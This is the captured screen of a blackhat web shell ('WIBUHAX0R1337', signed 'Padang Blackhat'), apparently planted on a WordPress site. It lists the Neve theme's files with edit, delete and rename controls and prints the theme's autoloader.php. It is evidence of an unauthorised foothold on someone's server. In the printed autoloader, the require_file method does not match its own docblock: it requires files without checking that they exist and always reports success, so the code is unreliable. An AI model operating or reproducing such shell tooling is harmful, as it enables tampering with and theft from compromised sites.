-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
public_html
/
wp-content
/
themes
/
neve
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
assets
--
NONE
globals
--
NONE
header-footer-grid
--
NONE
inc
--
NONE
languages
--
NONE
page-templates
--
NONE
template-parts
--
NONE
vendor
--
NONE
views
--
NONE
woocommerce
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
404.php
0.105KB
Edit File
Delete File
Rename
500.php
0.174KB
Edit File
Delete File
Rename
CHANGELOG.md
31.827KB
Edit File
Delete File
Rename
LICENSE.txt
17.668KB
Edit File
Delete File
Rename
autoloader.php
4.046KB
Edit File
Delete File
Rename
comments.php
0.326KB
Edit File
Delete File
Rename
error_log
0.809KB
Edit File
Delete File
Rename
footer-pwa.php
0.144KB
Edit File
Delete File
Rename
footer.php
1.214KB
Edit File
Delete File
Rename
functions.php
4.132KB
Edit File
Delete File
Rename
header-pwa.php
0.664KB
Edit File
Delete File
Rename
header.php
2.614KB
Edit File
Delete File
Rename
index.php
5.457KB
Edit File
Delete File
Rename
offline.php
0.174KB
Edit File
Delete File
Rename
page.php
1.485KB
Edit File
Delete File
Rename
readme.md
48.499KB
Edit File
Delete File
Rename
search.php
1.161KB
Edit File
Delete File
Rename
searchform.php
1.645KB
Edit File
Delete File
Rename
sidebar-shop.php
0.317KB
Edit File
Delete File
Rename
sidebar.php
0.299KB
Edit File
Delete File
Rename
single.php
1.172KB
Edit File
Delete File
Rename
start.php
1.476KB
Edit File
Delete File
Rename
style-main-new-rtl.css
45.281KB
Edit File
Delete File
Rename
style-main-new-rtl.min.css
38.011KB
Edit File
Delete File
Rename
style-main-new.css
45.313KB
Edit File
Delete File
Rename
style-main-new.min.css
37.996KB
Edit File
Delete File
Rename
style.css
1.632KB
Edit File
Delete File
Rename
toolset-config.json
4.335KB
Edit File
Delete File
Rename
wpml-config.xml
0.792KB
Edit File
Delete File
Rename
<?php /** * Neve Autoloader * * Author: Andrei Baicus <andrei@themeisle.com> * Created on: 17/08/2018 * * @package Neve */ namespace Neve; /** * Class Autoloader * * @package Neve */ class Autoloader { /** * An associative array where the key is a namespace prefix and the value * is an array of base directories for classes in that namespace. * * @var array */ protected $prefixes = array(); /** * Register loader with SPL autoloader stack. * * @return void */ public function register() { spl_autoload_register( array( $this, 'load_class' ) ); } /** * Adds a base directory for a namespace prefix. * * @param string $prefix The namespace prefix. * @param string $base_dir A base directory for class files in the * namespace. * @param bool $prepend If true, prepend the base directory to the stack * instead of appending it; this causes it to be searched first rather * than last. * * @return void */ public function add_namespace( $prefix, $base_dir, $prepend = false ) { // normalize namespace prefix $prefix = trim( $prefix, '\\' ) . '\\'; // normalize the base directory with a trailing separator $base_dir = rtrim( $base_dir, DIRECTORY_SEPARATOR ) . '/'; // initialize the namespace prefix array if ( isset( $this->prefixes[ $prefix ] ) === false ) { $this->prefixes[ $prefix ] = array(); } // retain the base directory for the namespace prefix if ( $prepend ) { array_unshift( $this->prefixes[ $prefix ], $base_dir ); } else { array_push( $this->prefixes[ $prefix ], $base_dir ); } } /** * Loads the class file for a given class name. * * @param string $class The fully-qualified class name. * * @return mixed The mapped file name on success, or boolean false on * failure. */ public function load_class( $class ) { // the current namespace prefix $prefix = $class; // work backwards through the namespace names of the fully-qualified // class name to find a mapped file name while ( false !== strrpos( $prefix, '\\' ) ) { $pos = strrpos( $prefix, '\\' ); // retain the trailing namespace separator in the prefix $prefix = substr( $class, 0, $pos + 1 ); // the rest is the relative class name $relative_class = substr( $class, $pos + 1 ); // try to load a mapped file for the prefix and relative class $mapped_file = $this->load_mapped_file( $prefix, $relative_class ); if ( $mapped_file ) { return $mapped_file; } // remove the trailing namespace separator for the next iteration // of strrpos() $prefix = rtrim( $prefix, '\\' ); } // never found a mapped file return false; } /** * Load the mapped file for a namespace prefix and relative class. * * @param string $prefix The namespace prefix. * @param string $relative_class The relative class name. * * @return mixed Boolean false if no mapped file can be loaded, or the * name of the mapped file that was loaded. */ protected function load_mapped_file( $prefix, $relative_class ) { // are there any base directories for this namespace prefix? if ( isset( $this->prefixes[ $prefix ] ) === false ) { return false; } // look through base directories for this namespace prefix foreach ( $this->prefixes[ $prefix ] as $base_dir ) { // replace the namespace prefix with the base directory, // replace namespace separators with directory separators // in the relative class name, append with .php $relative_class = strtolower( str_replace( '\\', '/', $relative_class ) ); $file = $base_dir . $relative_class . '.php'; // if the mapped file exists, require it if ( $this->require_file( $file ) ) { // yes, we're done return $file; } } // never found it return false; } /** * If a file exists, require it from the file system. * * @param string $file The file to require. * * @return bool True if the file exists, false if not. */ protected function require_file( $file ) { require $file; return true; } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat